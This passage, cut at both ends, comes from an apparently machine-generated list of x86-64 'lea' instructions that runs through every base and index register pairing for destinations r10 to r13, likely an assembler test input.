+ r15 + 0xff] lea r10, [r13 + rsp + 0xff] lea r10, [r13 + rsi + 0xff] lea r10, [r13 + rbp + 0xff] lea r10, [r14 + rax + 0xff] lea r10, [r14 + rbx + 0xff] lea r10, [r14 + rcx + 0xff] lea r10, [r14 + rdx + 0xff] lea r10, [r14 + rdi + 0xff] lea r10, [r14 + r8 + 0xff] lea r10, [r14 + r9 + 0xff] lea r10, [r14 + r10 + 0xff] lea r10, [r14 + r11 + 0xff] lea r10, [r14 + r12 + 0xff] lea r10, [r14 + r13 + 0xff] lea r10, [r14 + r14 + 0xff] lea r10, [r14 + r15 + 0xff] lea r10, [r14 + rsp + 0xff] lea r10, [r14 + rsi + 0xff] lea r10, [r14 + rbp + 0xff] lea r10, [r15 + rax + 0xff] lea r10, [r15 + rbx + 0xff] lea r10, [r15 + rcx + 0xff] lea r10, [r15 + rdx + 0xff] lea r10, [r15 + rdi + 0xff] lea r10, [r15 + r8 + 0xff] lea r10, [r15 + r9 + 0xff] lea r10, [r15 + r10 + 0xff] lea r10, [r15 + r11 + 0xff] lea r10, [r15 + r12 + 0xff] lea r10, [r15 + r13 + 0xff] lea r10, [r15 + r14 + 0xff] lea r10, [r15 + r15 + 0xff] lea r10, [r15 + rsp + 0xff] lea r10, [r15 + rsi + 0xff] lea r10, [r15 + rbp + 0xff] lea r10, [rsp + rax + 0xff] lea r10, [rsp + rbx + 0xff] lea r10, [rsp + rcx + 0xff] lea r10, [rsp + rdx + 0xff] lea r10, [rsp + rdi + 0xff] lea r10, [rsp + r8 + 0xff] lea r10, [rsp + r9 + 0xff] lea r10, [rsp + r10 + 0xff] lea r10, [rsp + r11 + 0xff] lea r10, [rsp + r12 + 0xff] lea r10, [rsp + r13 + 0xff] lea r10, [rsp + r14 + 0xff] lea r10, [rsp + r15 + 0xff] lea r10, [rsp + rsi + 0xff] lea r10, [rsp + rbp + 0xff] lea r10, [rsi + rax + 0xff] lea r10, [rsi + rbx + 0xff] lea r10, [rsi + rcx + 0xff] lea r10, [rsi + rdx + 0xff] lea r10, [rsi + rdi + 0xff] lea r10, [rsi + r8 + 0xff] lea r10, [rsi + r9 + 0xff] lea r10, [rsi + r10 + 0xff] lea r10, [rsi + r11 + 0xff] lea r10, [rsi + r12 + 0xff] lea r10, [rsi + r13 + 0xff] lea r10, [rsi + r14 + 0xff] lea r10, [rsi + r15 + 0xff] lea r10, [rsi + rsp + 0xff] lea r10, [rsi + rsi + 0xff] lea r10, [rsi + rbp + 0xff] lea r10, [rbp + rax + 0xff] lea r10, [rbp + rbx + 0xff] lea r10, [rbp + rcx + 0xff] lea r10, [rbp + rdx + 0xff] lea r10, [rbp + rdi + 0xff] lea r10, [rbp + r8 + 0xff] lea r10, [rbp + r9 + 0xff] lea r10, [rbp + r10 + 0xff] lea r10, [rbp + r11 + 0xff] lea r10, [rbp + r12 + 0xff] lea r10, [rbp + r13 + 0xff] lea r10, [rbp + r14 + 0xff] lea r10, [rbp + r15 + 0xff] lea r10, [rbp + rsp + 0xff] lea r10, [rbp + rsi + 0xff] lea r10, [rbp + rbp + 0xff] lea r11, [rax + rax + 0xff] lea r11, [rax + rbx + 0xff] lea r11, [rax + rcx + 0xff] lea r11, [rax + rdx + 0xff] lea r11, [rax + rdi + 0xff] lea r11, [rax + r8 + 0xff] lea r11, [rax + r9 + 0xff] lea r11, [rax + r10 + 0xff] lea r11, [rax + r11 + 0xff] lea r11, [rax + r12 + 0xff] lea r11, [rax + r13 + 0xff] lea r11, [rax + r14 + 0xff] lea r11, [rax + r15 + 0xff] lea r11, [rax + rsp + 0xff] lea r11, [rax + rsi + 0xff] lea r11, [rax + rbp + 0xff] lea r11, [rbx + rax + 0xff] lea r11, [rbx + rbx + 0xff] lea r11, [rbx + rcx + 0xff] lea r11, [rbx + rdx + 0xff] lea r11, [rbx + rdi + 0xff] lea r11, [rbx + r8 + 0xff] lea r11, [rbx + r9 + 0xff] lea r11, [rbx + r10 + 0xff] lea r11, [rbx + r11 + 0xff] lea r11, [rbx + r12 + 0xff] lea r11, [rbx + r13 + 0xff] lea r11, [rbx + r14 + 0xff] lea r11, [rbx + r15 + 0xff] lea r11, [rbx + rsp + 0xff] lea r11, [rbx + rsi + 0xff] lea r11, [rbx + rbp + 0xff] lea r11, [rcx + rax + 0xff] lea r11, [rcx + rbx + 0xff] lea r11, [rcx + rcx + 0xff] lea r11, [rcx + rdx + 0xff] lea r11, [rcx + rdi + 0xff] lea r11, [rcx + r8 + 0xff] lea r11, [rcx + r9 + 0xff] lea r11, [rcx + r10 + 0xff] lea r11, [rcx + r11 + 0xff] lea r11, [rcx + r12 + 0xff] lea r11, [rcx + r13 + 0xff] lea r11, [rcx + r14 + 0xff] lea r11, [rcx + r15 + 0xff] lea r11, [rcx + rsp + 0xff] lea r11, [rcx + rsi + 0xff] lea r11, [rcx + rbp + 0xff] lea r11, [rdx + rax + 0xff] lea r11, [rdx + rbx + 0xff] lea r11, [rdx + rcx + 0xff] lea r11, [rdx + rdx + 0xff] lea r11, [rdx + rdi + 0xff] lea r11, [rdx + r8 + 0xff] lea r11, [rdx + r9 + 0xff] lea r11, [rdx + r10 + 0xff] lea r11, [rdx + r11 + 0xff] lea r11, [rdx + r12 + 0xff] lea r11, [rdx + r13 + 0xff] lea r11, [rdx + r14 + 0xff] lea r11, [rdx + r15 + 0xff] lea r11, [rdx + rsp + 0xff] lea r11, [rdx + rsi + 0xff] lea r11, [rdx + rbp + 0xff] lea r11, [rdi + rax + 0xff] lea r11, [rdi + rbx + 0xff] lea r11, [rdi + rcx + 0xff] lea r11, [rdi + rdx + 0xff] lea r11, [rdi + rdi + 0xff] lea r11, [rdi + r8 + 0xff] lea r11, [rdi + r9 + 0xff] lea r11, [rdi + r10 + 0xff] lea r11, [rdi + r11 + 0xff] lea r11, [rdi + r12 + 0xff] lea r11, [rdi + r13 + 0xff] lea r11, [rdi + r14 + 0xff] lea r11, [rdi + r15 + 0xff] lea r11, [rdi + rsp + 0xff] lea r11, [rdi + rsi + 0xff] lea r11, [rdi + rbp + 0xff] lea r11, [r8 + rax + 0xff] lea r11, [r8 + rbx + 0xff] lea r11, [r8 + rcx + 0xff] lea r11, [r8 + rdx + 0xff] lea r11, [r8 + rdi + 0xff] lea r11, [r8 + r8 + 0xff] lea r11, [r8 + r9 + 0xff] lea r11, [r8 + r10 + 0xff] lea r11, [r8 + r11 + 0xff] lea r11, [r8 + r12 + 0xff] lea r11, [r8 + r13 + 0xff] lea r11, [r8 + r14 + 0xff] lea r11, [r8 + r15 + 0xff] lea r11, [r8 + rsp + 0xff] lea r11, [r8 + rsi + 0xff] lea r11, [r8 + rbp + 0xff] lea r11, [r9 + rax + 0xff] lea r11, [r9 + rbx + 0xff] lea r11, [r9 + rcx + 0xff] lea r11, [r9 + rdx + 0xff] lea r11, [r9 + rdi + 0xff] lea r11, [r9 + r8 + 0xff] lea r11, [r9 + r9 + 0xff] lea r11, [r9 + r10 + 0xff] lea r11, [r9 + r11 + 0xff] lea r11, [r9 + r12 + 0xff] lea r11, [r9 + r13 + 0xff] lea r11, [r9 + r14 + 0xff] lea r11, [r9 + r15 + 0xff] lea r11, [r9 + rsp + 0xff] lea r11, [r9 + rsi + 0xff] lea r11, [r9 + rbp + 0xff] lea r11, [r10 + rax + 0xff] lea r11, [r10 + rbx + 0xff] lea r11, [r10 + rcx + 0xff] lea r11, [r10 + rdx + 0xff] lea r11, [r10 + rdi + 0xff] lea r11, [r10 + r8 + 0xff] lea r11, [r10 + r9 + 0xff] lea r11, [r10 + r10 + 0xff] lea r11, [r10 + r11 + 0xff] lea r11, [r10 + r12 + 0xff] lea r11, [r10 + r13 + 0xff] lea r11, [r10 + r14 + 0xff] lea r11, [r10 + r15 + 0xff] lea r11, [r10 + rsp + 0xff] lea r11, [r10 + rsi + 0xff] lea r11, [r10 + rbp + 0xff] lea r11, [r11 + rax + 0xff] lea r11, [r11 + rbx + 0xff] lea r11, [r11 + rcx + 0xff] lea r11, [r11 + rdx + 0xff] lea r11, [r11 + rdi + 0xff] lea r11, [r11 + r8 + 0xff] lea r11, [r11 + r9 + 0xff] lea r11, [r11 + r10 + 0xff] lea r11, [r11 + r11 + 0xff] lea r11, [r11 + r12 + 0xff] lea r11, [r11 + r13 + 0xff] lea r11, [r11 + r14 + 0xff] lea r11, [r11 + r15 + 0xff] lea r11, [r11 + rsp + 0xff] lea r11, [r11 + rsi + 0xff] lea r11, [r11 + rbp + 0xff] lea r11, [r12 + rax + 0xff] lea r11, [r12 + rbx + 0xff] lea r11, [r12 + rcx + 0xff] lea r11, [r12 + rdx + 0xff] lea r11, [r12 + rdi + 0xff] lea r11, [r12 + r8 + 0xff] lea r11, [r12 + r9 + 0xff] lea r11, [r12 + r10 + 0xff] lea r11, [r12 + r11 + 0xff] lea r11, [r12 + r12 + 0xff] lea r11, [r12 + r13 + 0xff] lea r11, [r12 + r14 + 0xff] lea r11, [r12 + r15 + 0xff] lea r11, [r12 + rsp + 0xff] lea r11, [r12 + rsi + 0xff] lea r11, [r12 + rbp + 0xff] lea r11, [r13 + rax + 0xff] lea r11, [r13 + rbx + 0xff] lea r11, [r13 + rcx + 0xff] lea r11, [r13 + rdx + 0xff] lea r11, [r13 + rdi + 0xff] lea r11, [r13 + r8 + 0xff] lea r11, [r13 + r9 + 0xff] lea r11, [r13 + r10 + 0xff] lea r11, [r13 + r11 + 0xff] lea r11, [r13 + r12 + 0xff] lea r11, [r13 + r13 + 0xff] lea r11, [r13 + r14 + 0xff] lea r11, [r13 + r15 + 0xff] lea r11, [r13 + rsp + 0xff] lea r11, [r13 + rsi + 0xff] lea r11, [r13 + rbp + 0xff] lea r11, [r14 + rax + 0xff] lea r11, [r14 + rbx + 0xff] lea r11, [r14 + rcx + 0xff] lea r11, [r14 + rdx + 0xff] lea r11, [r14 + rdi + 0xff] lea r11, [r14 + r8 + 0xff] lea r11, [r14 + r9 + 0xff] lea r11, [r14 + r10 + 0xff] lea r11, [r14 + r11 + 0xff] lea r11, [r14 + r12 + 0xff] lea r11, [r14 + r13 + 0xff] lea r11, [r14 + r14 + 0xff] lea r11, [r14 + r15 + 0xff] lea r11, [r14 + rsp + 0xff] lea r11, [r14 + rsi + 0xff] lea r11, [r14 + rbp + 0xff] lea r11, [r15 + rax + 0xff] lea r11, [r15 + rbx + 0xff] lea r11, [r15 + rcx + 0xff] lea r11, [r15 + rdx + 0xff] lea r11, [r15 + rdi + 0xff] lea r11, [r15 + r8 + 0xff] lea r11, [r15 + r9 + 0xff] lea r11, [r15 + r10 + 0xff] lea r11, [r15 + r11 + 0xff] lea r11, [r15 + r12 + 0xff] lea r11, [r15 + r13 + 0xff] lea r11, [r15 + r14 + 0xff] lea r11, [r15 + r15 + 0xff] lea r11, [r15 + rsp + 0xff] lea r11, [r15 + rsi + 0xff] lea r11, [r15 + rbp + 0xff] lea r11, [rsp + rax + 0xff] lea r11, [rsp + rbx + 0xff] lea r11, [rsp + rcx + 0xff] lea r11, [rsp + rdx + 0xff] lea r11, [rsp + rdi + 0xff] lea r11, [rsp + r8 + 0xff] lea r11, [rsp + r9 + 0xff] lea r11, [rsp + r10 + 0xff] lea r11, [rsp + r11 + 0xff] lea r11, [rsp + r12 + 0xff] lea r11, [rsp + r13 + 0xff] lea r11, [rsp + r14 + 0xff] lea r11, [rsp + r15 + 0xff] lea r11, [rsp + rsi + 0xff] lea r11, [rsp + rbp + 0xff] lea r11, [rsi + rax + 0xff] lea r11, [rsi + rbx + 0xff] lea r11, [rsi + rcx + 0xff] lea r11, [rsi + rdx + 0xff] lea r11, [rsi + rdi + 0xff] lea r11, [rsi + r8 + 0xff] lea r11, [rsi + r9 + 0xff] lea r11, [rsi + r10 + 0xff] lea r11, [rsi + r11 + 0xff] lea r11, [rsi + r12 + 0xff] lea r11, [rsi + r13 + 0xff] lea r11, [rsi + r14 + 0xff] lea r11, [rsi + r15 + 0xff] lea r11, [rsi + rsp + 0xff] lea r11, [rsi + rsi + 0xff] lea r11, [rsi + rbp + 0xff] lea r11, [rbp + rax + 0xff] lea r11, [rbp + rbx + 0xff] lea r11, [rbp + rcx + 0xff] lea r11, [rbp + rdx + 0xff] lea r11, [rbp + rdi + 0xff] lea r11, [rbp + r8 + 0xff] lea r11, [rbp + r9 + 0xff] lea r11, [rbp + r10 + 0xff] lea r11, [rbp + r11 + 0xff] lea r11, [rbp + r12 + 0xff] lea r11, [rbp + r13 + 0xff] lea r11, [rbp + r14 + 0xff] lea r11, [rbp + r15 + 0xff] lea r11, [rbp + rsp + 0xff] lea r11, [rbp + rsi + 0xff] lea r11, [rbp + rbp + 0xff] lea r12, [rax + rax + 0xff] lea r12, [rax + rbx + 0xff] lea r12, [rax + rcx + 0xff] lea r12, [rax + rdx + 0xff] lea r12, [rax + rdi + 0xff] lea r12, [rax + r8 + 0xff] lea r12, [rax + r9 + 0xff] lea r12, [rax + r10 + 0xff] lea r12, [rax + r11 + 0xff] lea r12, [rax + r12 + 0xff] lea r12, [rax + r13 + 0xff] lea r12, [rax + r14 + 0xff] lea r12, [rax + r15 + 0xff] lea r12, [rax + rsp + 0xff] lea r12, [rax + rsi + 0xff] lea r12, [rax + rbp + 0xff] lea r12, [rbx + rax + 0xff] lea r12, [rbx + rbx + 0xff] lea r12, [rbx + rcx + 0xff] lea r12, [rbx + rdx + 0xff] lea r12, [rbx + rdi + 0xff] lea r12, [rbx + r8 + 0xff] lea r12, [rbx + r9 + 0xff] lea r12, [rbx + r10 + 0xff] lea r12, [rbx + r11 + 0xff] lea r12, [rbx + r12 + 0xff] lea r12, [rbx + r13 + 0xff] lea r12, [rbx + r14 + 0xff] lea r12, [rbx + r15 + 0xff] lea r12, [rbx + rsp + 0xff] lea r12, [rbx + rsi + 0xff] lea r12, [rbx + rbp + 0xff] lea r12, [rcx + rax + 0xff] lea r12, [rcx + rbx + 0xff] lea r12, [rcx + rcx + 0xff] lea r12, [rcx + rdx + 0xff] lea r12, [rcx + rdi + 0xff] lea r12, [rcx + r8 + 0xff] lea r12, [rcx + r9 + 0xff] lea r12, [rcx + r10 + 0xff] lea r12, [rcx + r11 + 0xff] lea r12, [rcx + r12 + 0xff] lea r12, [rcx + r13 + 0xff] lea r12, [rcx + r14 + 0xff] lea r12, [rcx + r15 + 0xff] lea r12, [rcx + rsp + 0xff] lea r12, [rcx + rsi + 0xff] lea r12, [rcx + rbp + 0xff] lea r12, [rdx + rax + 0xff] lea r12, [rdx + rbx + 0xff] lea r12, [rdx + rcx + 0xff] lea r12, [rdx + rdx + 0xff] lea r12, [rdx + rdi + 0xff] lea r12, [rdx + r8 + 0xff] lea r12, [rdx + r9 + 0xff] lea r12, [rdx + r10 + 0xff] lea r12, [rdx + r11 + 0xff] lea r12, [rdx + r12 + 0xff] lea r12, [rdx + r13 + 0xff] lea r12, [rdx + r14 + 0xff] lea r12, [rdx + r15 + 0xff] lea r12, [rdx + rsp + 0xff] lea r12, [rdx + rsi + 0xff] lea r12, [rdx + rbp + 0xff] lea r12, [rdi + rax + 0xff] lea r12, [rdi + rbx + 0xff] lea r12, [rdi + rcx + 0xff] lea r12, [rdi + rdx + 0xff] lea r12, [rdi + rdi + 0xff] lea r12, [rdi + r8 + 0xff] lea r12, [rdi + r9 + 0xff] lea r12, [rdi + r10 + 0xff] lea r12, [rdi + r11 + 0xff] lea r12, [rdi + r12 + 0xff] lea r12, [rdi + r13 + 0xff] lea r12, [rdi + r14 + 0xff] lea r12, [rdi + r15 + 0xff] lea r12, [rdi + rsp + 0xff] lea r12, [rdi + rsi + 0xff] lea r12, [rdi + rbp + 0xff] lea r12, [r8 + rax + 0xff] lea r12, [r8 + rbx + 0xff] lea r12, [r8 + rcx + 0xff] lea r12, [r8 + rdx + 0xff] lea r12, [r8 + rdi + 0xff] lea r12, [r8 + r8 + 0xff] lea r12, [r8 + r9 + 0xff] lea r12, [r8 + r10 + 0xff] lea r12, [r8 + r11 + 0xff] lea r12, [r8 + r12 + 0xff] lea r12, [r8 + r13 + 0xff] lea r12, [r8 + r14 + 0xff] lea r12, [r8 + r15 + 0xff] lea r12, [r8 + rsp + 0xff] lea r12, [r8 + rsi + 0xff] lea r12, [r8 + rbp + 0xff] lea r12, [r9 + rax + 0xff] lea r12, [r9 + rbx + 0xff] lea r12, [r9 + rcx + 0xff] lea r12, [r9 + rdx + 0xff] lea r12, [r9 + rdi + 0xff] lea r12, [r9 + r8 + 0xff] lea r12, [r9 + r9 + 0xff] lea r12, [r9 + r10 + 0xff] lea r12, [r9 + r11 + 0xff] lea r12, [r9 + r12 + 0xff] lea r12, [r9 + r13 + 0xff] lea r12, [r9 + r14 + 0xff] lea r12, [r9 + r15 + 0xff] lea r12, [r9 + rsp + 0xff] lea r12, [r9 + rsi + 0xff] lea r12, [r9 + rbp + 0xff] lea r12, [r10 + rax + 0xff] lea r12, [r10 + rbx + 0xff] lea r12, [r10 + rcx + 0xff] lea r12, [r10 + rdx + 0xff] lea r12, [r10 + rdi + 0xff] lea r12, [r10 + r8 + 0xff] lea r12, [r10 + r9 + 0xff] lea r12, [r10 + r10 + 0xff] lea r12, [r10 + r11 + 0xff] lea r12, [r10 + r12 + 0xff] lea r12, [r10 + r13 + 0xff] lea r12, [r10 + r14 + 0xff] lea r12, [r10 + r15 + 0xff] lea r12, [r10 + rsp + 0xff] lea r12, [r10 + rsi + 0xff] lea r12, [r10 + rbp + 0xff] lea r12, [r11 + rax + 0xff] lea r12, [r11 + rbx + 0xff] lea r12, [r11 + rcx + 0xff] lea r12, [r11 + rdx + 0xff] lea r12, [r11 + rdi + 0xff] lea r12, [r11 + r8 + 0xff] lea r12, [r11 + r9 + 0xff] lea r12, [r11 + r10 + 0xff] lea r12, [r11 + r11 + 0xff] lea r12, [r11 + r12 + 0xff] lea r12, [r11 + r13 + 0xff] lea r12, [r11 + r14 + 0xff] lea r12, [r11 + r15 + 0xff] lea r12, [r11 + rsp + 0xff] lea r12, [r11 + rsi + 0xff] lea r12, [r11 + rbp + 0xff] lea r12, [r12 + rax + 0xff] lea r12, [r12 + rbx + 0xff] lea r12, [r12 + rcx + 0xff] lea r12, [r12 + rdx + 0xff] lea r12, [r12 + rdi + 0xff] lea r12, [r12 + r8 + 0xff] lea r12, [r12 + r9 + 0xff] lea r12, [r12 + r10 + 0xff] lea r12, [r12 + r11 + 0xff] lea r12, [r12 + r12 + 0xff] lea r12, [r12 + r13 + 0xff] lea r12, [r12 + r14 + 0xff] lea r12, [r12 + r15 + 0xff] lea r12, [r12 + rsp + 0xff] lea r12, [r12 + rsi + 0xff] lea r12, [r12 + rbp + 0xff] lea r12, [r13 + rax + 0xff] lea r12, [r13 + rbx + 0xff] lea r12, [r13 + rcx + 0xff] lea r12, [r13 + rdx + 0xff] lea r12, [r13 + rdi + 0xff] lea r12, [r13 + r8 + 0xff] lea r12, [r13 + r9 + 0xff] lea r12, [r13 + r10 + 0xff] lea r12, [r13 + r11 + 0xff] lea r12, [r13 + r12 + 0xff] lea r12, [r13 + r13 + 0xff] lea r12, [r13 + r14 + 0xff] lea r12, [r13 + r15 + 0xff] lea r12, [r13 + rsp + 0xff] lea r12, [r13 + rsi + 0xff] lea r12, [r13 + rbp + 0xff] lea r12, [r14 + rax + 0xff] lea r12, [r14 + rbx + 0xff] lea r12, [r14 + rcx + 0xff] lea r12, [r14 + rdx + 0xff] lea r12, [r14 + rdi + 0xff] lea r12, [r14 + r8 + 0xff] lea r12, [r14 + r9 + 0xff] lea r12, [r14 + r10 + 0xff] lea r12, [r14 + r11 + 0xff] lea r12, [r14 + r12 + 0xff] lea r12, [r14 + r13 + 0xff] lea r12, [r14 + r14 + 0xff] lea r12, [r14 + r15 + 0xff] lea r12, [r14 + rsp + 0xff] lea r12, [r14 + rsi + 0xff] lea r12, [r14 + rbp + 0xff] lea r12, [r15 + rax + 0xff] lea r12, [r15 + rbx + 0xff] lea r12, [r15 + rcx + 0xff] lea r12, [r15 + rdx + 0xff] lea r12, [r15 + rdi + 0xff] lea r12, [r15 + r8 + 0xff] lea r12, [r15 + r9 + 0xff] lea r12, [r15 + r10 + 0xff] lea r12, [r15 + r11 + 0xff] lea r12, [r15 + r12 + 0xff] lea r12, [r15 + r13 + 0xff] lea r12, [r15 + r14 + 0xff] lea r12, [r15 + r15 + 0xff] lea r12, [r15 + rsp + 0xff] lea r12, [r15 + rsi + 0xff] lea r12, [r15 + rbp + 0xff] lea r12, [rsp + rax + 0xff] lea r12, [rsp + rbx + 0xff] lea r12, [rsp + rcx + 0xff] lea r12, [rsp + rdx + 0xff] lea r12, [rsp + rdi + 0xff] lea r12, [rsp + r8 + 0xff] lea r12, [rsp + r9 + 0xff] lea r12, [rsp + r10 + 0xff] lea r12, [rsp + r11 + 0xff] lea r12, [rsp + r12 + 0xff] lea r12, [rsp + r13 + 0xff] lea r12, [rsp + r14 + 0xff] lea r12, [rsp + r15 + 0xff] lea r12, [rsp + rsi + 0xff] lea r12, [rsp + rbp + 0xff] lea r12, [rsi + rax + 0xff] lea r12, [rsi + rbx + 0xff] lea r12, [rsi + rcx + 0xff] lea r12, [rsi + rdx + 0xff] lea r12, [rsi + rdi + 0xff] lea r12, [rsi + r8 + 0xff] lea r12, [rsi + r9 + 0xff] lea r12, [rsi + r10 + 0xff] lea r12, [rsi + r11 + 0xff] lea r12, [rsi + r12 + 0xff] lea r12, [rsi + r13 + 0xff] lea r12, [rsi + r14 + 0xff] lea r12, [rsi + r15 + 0xff] lea r12, [rsi + rsp + 0xff] lea r12, [rsi + rsi + 0xff] lea r12, [rsi + rbp + 0xff] lea r12, [rbp + rax + 0xff] lea r12, [rbp + rbx + 0xff] lea r12, [rbp + rcx + 0xff] lea r12, [rbp + rdx + 0xff] lea r12, [rbp + rdi + 0xff] lea r12, [rbp + r8 + 0xff] lea r12, [rbp + r9 + 0xff] lea r12, [rbp + r10 + 0xff] lea r12, [rbp + r11 + 0xff] lea r12, [rbp + r12 + 0xff] lea r12, [rbp + r13 + 0xff] lea r12, [rbp + r14 + 0xff] lea r12, [rbp + r15 + 0xff] lea r12, [rbp + rsp + 0xff] lea r12, [rbp + rsi + 0xff] lea r12, [rbp + rbp + 0xff] lea r13, [rax + rax + 0xff] lea r13, [rax + rbx + 0xff] lea r13, [rax + rcx + 0xff] lea r13, [rax + rdx + 0xff] lea r13, [rax + rdi + 0xff] lea r13, [rax + r8 + 0xff] lea r13, [rax + r9 + 0xff] lea r13, [rax + r10 + 0xff] lea r13, [rax + r11 + 0xff] lea r13, [rax + r12 + 0xff] lea r13, [rax + r13 + 0xff] lea r13, [rax + r14 + 0xff] lea r13, [rax + r15 + 0xff] lea r13, [rax + rsp + 0xff] lea r13, [rax + rsi + 0xff] lea r13, [rax + rbp + 0xff] lea r13, [rbx + rax + 0xff] lea r13, [rbx + rbx + 0xff] lea r13, [rbx + rcx + 0xff] lea r13, [rbx + rdx + 0xff] lea r13, [rbx + rdi + 0xff] lea r13, [rbx + r8 + 0xff] lea r13, [rbx + r9 + 0xff] lea r13, [rbx + r10 + 0xff] lea r13, [rbx + r11 + 0xff] lea r13, [rbx + r12 + 0xff] lea r13, [rbx + r13 + 0xff] lea r13, [rbx + r14 + 0xff] lea r13, [rbx + r15 + 0xff] lea r13, [rbx + rsp + 0xff] lea r13, [rbx + rsi + 0xff] lea r13, [rbx + rbp + 0xff] lea r13, [rcx + rax + 0xff] lea r13, [rcx + rbx + 0xff] lea r13, [rcx + rcx + 0xff] lea r13, [rcx + rdx + 0xff] lea r13, [rcx + rdi + 0xff] lea r13, [rcx + r8 + 0xff] lea r13, [rcx + r9 + 0xff] lea r13, [rcx + r10 + 0xff] lea r13, [rcx + r11 + 0xff] lea r13, [rcx + r12 + 0xff] lea r13, [rcx + r13 + 0xff] lea r13, [rcx + r14 + 0xff] lea r13, [rcx + r15 + 0xff] lea r13, [rcx + rsp + 0xff] lea r13, [rcx + rsi + 0xff] lea r13, [rcx + rbp + 0xff] lea r13, [rdx + rax + 0xff] lea r13, [rdx + rbx + 0xff] lea r13, [rdx + rcx + 0xff] lea r13, [rdx + rdx + 0xff] lea r13, [rdx + rdi + 0xff] lea r13, [rdx + r8 + 0xff] lea r13, [rdx + r9 + 0xff] lea r13, [rdx + r10 + 0xff] lea r13, [rdx + r11 + 0xff] lea r13, [rdx + r12 + 0xff] lea r13, [rdx + r13 + 0xff] lea r13, [rdx + r14 + 0xff] lea r13, [rdx + r15 + 0xff] lea r13, [rdx + rsp + 0xff] lea r13, [rdx + rsi + 0xff] lea r13, [rdx + rbp + 0xff] lea r13, [rdi + rax + 0xff] lea r13, [rdi + rbx + 0xff] lea r13, [rdi + rcx + 0xff] lea r13, [rdi + rdx + 0xff] lea r13, [rdi + rdi + 0xff] lea r13, [rdi + r8 + 0xff] lea r13, [rdi + r9 + 0xff] lea r13, [rdi + r10 + 0xff] lea r13, [rdi + r11 + 0xff] lea r13, [rdi + r12 + 0xff] lea r13, [rdi + r13 + 0xff] lea r13, [rdi + r14 + 0xff] lea r13, [rdi + r15 + 0xff] lea r13, [rdi + rsp + 0xff] lea r13, [rdi + rsi + 0xff] lea r13, [rdi + rbp + 0xff] lea r13, [r8 + rax + 0xff] lea r13, [r8 + rbx + 0xff] lea r13, [r8 + rcx + 0xff] lea r13, [r8 + rdx + 0xff] lea r13, [r8 + rdi + 0xff] lea r13, [r8 + r8 + 0xff] lea r13, [r8 + r9 + 0xff] lea r13, [r8 + r10 + 0xff] lea r13, [r8 + r11 + 0xff] lea r13, [r8 + r12 + 0xff] lea r13, [r8 + r13 + 0xff] lea r13, [r8 + r14 + 0xff] lea r13, [r8 + r15 + 0xff] lea r13, [r8 + rsp + 0xff] lea r13, [r8 + rsi + 0xff] lea r13, [r8 + rbp + 0xff] lea r13, [r9 + rax + 0xff] lea r13, [r9 + rbx + 0xff] lea r13, [r9 + rcx + 0xff] lea r13, [r9 + rdx + 0xff] lea r13, [r9 + rdi + 0xff] lea r13, [r9 + r8 + 0xff] lea r13, [r9 + r9 + 0xff] lea r13, [r9 + r10 + 0xff] lea r13, [r9 + r11 + 0xff] lea r13, [r9 + r12 + 0xff] lea r13, [r9 + r13 + 0xff] lea r13, [r9 + r14 + 0xff] lea r13, [r9 + r15 + 0xff] lea r13, [r9 + rsp + 0xff] lea r13, [r9 + rsi + 0xff] lea r13, [r9 + rbp + 0xff] lea r13, [r10 + rax + 0xff] lea r13, [r10 + rbx + 0xff] lea r13, [r10 + rcx + 0xff] lea r13, [r10 + rdx + 0xff] lea r13, [r10 + rdi + 0xff] lea r13, [r10 + r8 + 0xff] lea r13, [r10 + r9 + 0xff] lea r13, [r10 + r10 + 0xff] lea r13, [r10 + r11 + 0xff] lea r13, [r10 + r12 + 0xff] lea r13, [r10 + r13 + 0xff] lea r13, [r10 + r14 + 0xff] lea r13, [r10 + r15 + 0xff] lea r13, [r10 + rsp + 0xff] lea r13, [r10 + rsi + 0xff] lea r13, [r10 + rbp + 0xff] lea r13, [r11 + rax + 0xff] lea r13, [r11 + rbx + 0xff] lea r13, [r11 + rcx + 0xff] lea r13, [r11 + rdx + 0xff] lea r13, [r11 + rdi + 0xff] lea r13, [r11 + r8 + 0xff] lea r13, [r11 + r9 + 0xff] lea r13, [r11 + r10 + 0xff] lea r13, [r11 + r11 + 0xff] lea r13, [r11 + r12 + 0xff] lea r13, [r11 + r13 + 0xff] lea r13, [r11 + r14 + 0xff] lea r13, [r11 + r15 + 0xff] lea r13, [r11 + rsp + 0xff] lea r13, [r11 + rsi + 0xff] lea r13, [r11 + rbp + 0xff] lea r13, [r12 + rax + 0xff] lea r13, [r12 + rbx + 0xff] lea r13, [r12 + rcx + 0xff] lea r13, [r12 + rdx + 0xff] lea r13, [r12 + rdi + 0xff] lea r13, [r12 + r8 + 0xff] lea r13, [r12 + r9 + 0xff] lea r13, [r12 + r10 + 0xff] lea r13, [r12 + r11 + 0xff] lea r13, [r12 + r12 + 0xff] lea r13, [r12 + r13 + 0xff] lea r13, [r12 + r14 + 0xff] lea r13, [r12 + r15 + 0xff] lea r13, [r12 + rsp + 0xff] lea r13, [r12 + rsi + 0xff] lea r13, [r12 + rbp + 0xff] lea r13, [r13 + rax + 0xff] lea r13, [r13 + rbx + 0xff] lea r13, [r13 + rcx + 0xff] lea r13, [r13 + rdx + 0xff] lea r13, [r13 + rdi + 0xff] lea r13, [r13 + r8 + 0xff] lea r13, [r13 + r9 + 0xff] lea r13, [r13 + r10 + 0xff] lea r13, [r13 + r11 + 0xff] lea r13, [r13 + r12 + 0xff] lea r13, [r13 + r13 + 0xff] lea r13, [r13 + r14 + 0xff] lea r13, [r13 + r15 + 0xff] lea r13, [r13 + rsp + 0xff] lea r13, [r13 + rsi + 0xff] lea r13, [r13 + rbp + 0xff] lea r13, [r14 + rax + 0xff] lea r13, [r14 + rbx + 0xff] lea r13, [r14 + rcx + 0xff] lea r13, [r14 + rdx + 0xff] lea r13, [r14 + rdi + 0xff] lea r13, [r14 + r8 + 0xff] lea r13, [r14 + r9 + 0xff] lea r13, [r14 + r10 + 0xff] lea r13, [r14 + r11 + 0xff] lea r13, [r14 + r12 + 0xff] lea r13, [r14 + r13 + 0xff] lea r13, [r14 + r14 + 0xff] lea r13, [r14 + r15 + 0xff] lea r13, [r14 + rsp + 0xff] lea r13, [r14 + rsi + 0xff] lea r13, [r14 + rbp + 0xff] lea r13, [r15 + rax + 0xff] lea r13, [r15 + rbx + 0xff] lea r13, [r15 + rcx + 0xff] lea r13, [r15 + rdx + 0xff] lea r13, [r15 + rdi + 0xff] lea r13, [r15 + r8 + 0xff] lea r13, [r15 + r9 + 0xff] lea r13, [r15 + r10 + 0xff] lea r13, [r15 + r11 + 0xff] lea r13, [r15 + r12 + 0xff] 